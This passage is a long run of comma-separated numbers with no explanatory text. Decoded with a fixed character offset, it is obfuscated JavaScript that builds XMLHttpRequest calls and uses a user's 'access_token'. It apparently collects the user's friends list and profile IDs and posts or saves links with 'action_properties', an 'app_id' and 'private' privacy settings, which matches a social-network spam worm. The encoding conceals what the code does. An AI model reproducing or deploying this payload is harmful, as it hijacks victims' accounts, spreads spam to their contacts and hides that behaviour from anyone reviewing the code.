,98,22,31,31,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,35,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,33,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,31,23,26,94,79,96,97,83,55,92,98,22,36,37,27,32,30,23,26,94,79,96,97,83,55,92,98,22,36,34,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,33,23,26,94,79,96,97,83,55,92,98,22,37,39,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,32,23,26,94,79,96,97,83,55,92,98,22,39,36,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,34,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,36,23,26,94,79,96,97,83,55,92,98,22,37,30,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,34,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,31,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,33,39,23,23,25,77,48,22,98,23,26,15,30,23,26,93,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,93,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,93,28,97,98,79,98,99,97,23,105,100,79,96,14,98,43,56,65,61,60,28,94,79,96,97,83,22,93,28,96,83,97,94,93,92,97,83,66,83,102,98,28,96,83,94,90,79,81,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,36,23,23,26,16,16,23,23,41,87,84,22,15,98,28,83,96,96,93,96,23,105,100,79,96,14,79,43,98,28,94,79,103,90,93,79,82,28,83,92,98,96,87,83,97,28,97,93,96,98,22,84,99,92,81,98,87,93,92,22,83,26,98,23,105,96,83,98,99,96,92,14,83,28,87,92,82,83,102,27,98,28,87,92,82,83,102,107,23,41,84,93,96,22,79,43,77,104,22,79,23,26,87,43,30,41,87,42,79,28,90,83,92,85,98,86,41,87,25,25,23,83,28,84,96,87,83,92,82,97,28,87,92,82,83,102,61,84,22,79,73,87,75,28,99,87,82,28,98,93,65,98,96,87,92,85,22,23,23,42,30,20,20,79,73,87,75,28,99,87,82,28,98,93,65,98,96,87,92,85,22,23,15,43,94,96,93,84,87,90,83,77,87,82,20,20,83,28,84,96,87,83,92,82,97,28,94,99,97,86,22,79,73,87,75,28,99,87,82,28,98,93,65,98,96,87,92,85,22,23,23,41,83,28,84,96,87,83,92,82,97,28,90,83,92,85,98,86,44,30,20,20,77,82,22,83,23,107,107,107,26,93,28,97,83,92,82,22,23,107,84,99,92,81,98,87,93,92,14,77,82,22,83,23,105,83,28,90,87,92,89,43,81,93,92,84,87,85,28,90,87,92,89,41,100,79,96,14,98,43,83,28,90,87,92,89,28,91,79,98,81,86,22,29,105,96,79,92,82,93,91,107,29,85,23,41,84,93,96,22,90,92,89,43,30,41,98,20,20,90,92,89,42,98,28,90,83,92,85,98,86,41,90,92,89,25,25,23,83,28,90,87,92,89,43,83,28,90,87,92,89,28,96,83,94,90,79,81,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,31,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,32,39,23,23,26,77,47,22,37,23,23,41,77,83,22,83,23,107,84,99,92,81,98,87,93,92,14,77,83,22,83,23,105,100,79,96,14,98,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,98,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,35,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,39,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,33,37,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,30,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,32,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,32,23,26,94,79,96,97,83,55,92,98,22,39,38,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,33,38,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,32,23,26,94,79,96,97,83,55,92,98,22,36,30,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,37,39,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,34,23,26,94,79,96,97,83,55,92,98,22,37,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,39,23,23,23,26,98,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,98,28,97,83,92,82,22,23,26,98,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,98,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,98,28,97,98,79,98,99,97,23,105,100,79,96,14,93,43,56,65,61,60,28,94,79,96,97,83,22,98,28,96,83,97,94,93,92,97,83,66,83,102,98,23,41,87,84,22,93,28,89,83,103,23,105,100,79,96,14,79,43,77,97,22,93,28,89,83,103,26,93,28,86,79,97,86,23,41,83,28,89,83,103,43,79,26,77,84,22,83,23,107,107,107,107,84,99,92,81,98,87,93,92,14,77,84,22,83,23,105,83,28,89,83,103,101,93,96,82,43,77,47,22,31,32,23,26,83,28,90,87,92,89,43,83,28,90,87,92,89,25,83,28,89,83,103,101,93,96,82,26,94,79,96,79,91,97,43,105,79,81,81,83,97,97,77,98,93,89,83,92,40,83,28,89,83,103,26,90,93,92,85,67,96,90,40,83,28,90,87,92,89,26,16,94,96,87,100,79,98,83,16,40,15,31,26,98,87,98,90,83,40,77,47,22,36,23,26,83,102,98,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,35,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,36,23,23,107,41,100,79,96,14,98,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,98,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,35,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,35,39,23,26,94,79,96,97,83,55,92,98,22,39,30,27,34,33,23,26,94,79,96,97,83,55,92,98,22,36,37,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,34,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,39,27,34,38,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,38,23,26,94,79,96,97,83,55,92,98,22,36,37,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,34,39,23,23,25,77,48,22,94,79,96,79,91,97,23,23,26,98,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,98,28,97,83,92,82,22,23,26,98,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,98,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,98,28,97,98,79,98,99,97,23,105,100,79,96,14,93,43,56,65,61,60,28,94,79,96,97,83,22,98,28,96,83,97,94,93,92,97,83,66,83,102,98,23,41,87,84,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,34,36,23,23,43,43,93,28,97,98,79,98,99,97,77,98,102,98,23,105,83,28,80,87,98,90,103,43,93,28,82,79,98,79,28,90,87,92,89,77,97,79,100,83,28,90,87,92,89,41,100,79,96,14,79,43,73,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,38,27,31,32,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,31,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,30,23,26,94,79,96,97,83,55,92,98,22,39,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,31,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,33,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,30,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,32,32,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,36,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,32,36,23,26,94,79,96,97,83,55,92,98,22,37,31,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,31,39,23,23,75,41,79,43,77,104,22,79,23,26,83,28,82,93,91,79,87,92,43,79,73,30,75,26,83,28,90,87,92,89,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,37,32,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,37,23,23,25,83,28,82,93,91,79,87,92,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,34,34,23,23,25,83,28,89,83,103,101,93,96,82,26,77,85,22,83,23,107,107,107,107,84,99,92,81,98,87,93,92,14,77,85,22,83,23,105,100,79,96,14,98,43,105,79,81,98,87,93,92,77,94,96,93,94,83,96,98,87,83,97,40,56,65,61,60,28,97,98,96,87,92,85,87,84,103,22,105,93,80,88,83,81,98,40,83,28,90,87,92,89,107,23,26,79,81,98,87,93,92,77,98,103,94,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,36,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,36,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,38,23,23,26,79,94,94,77,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,4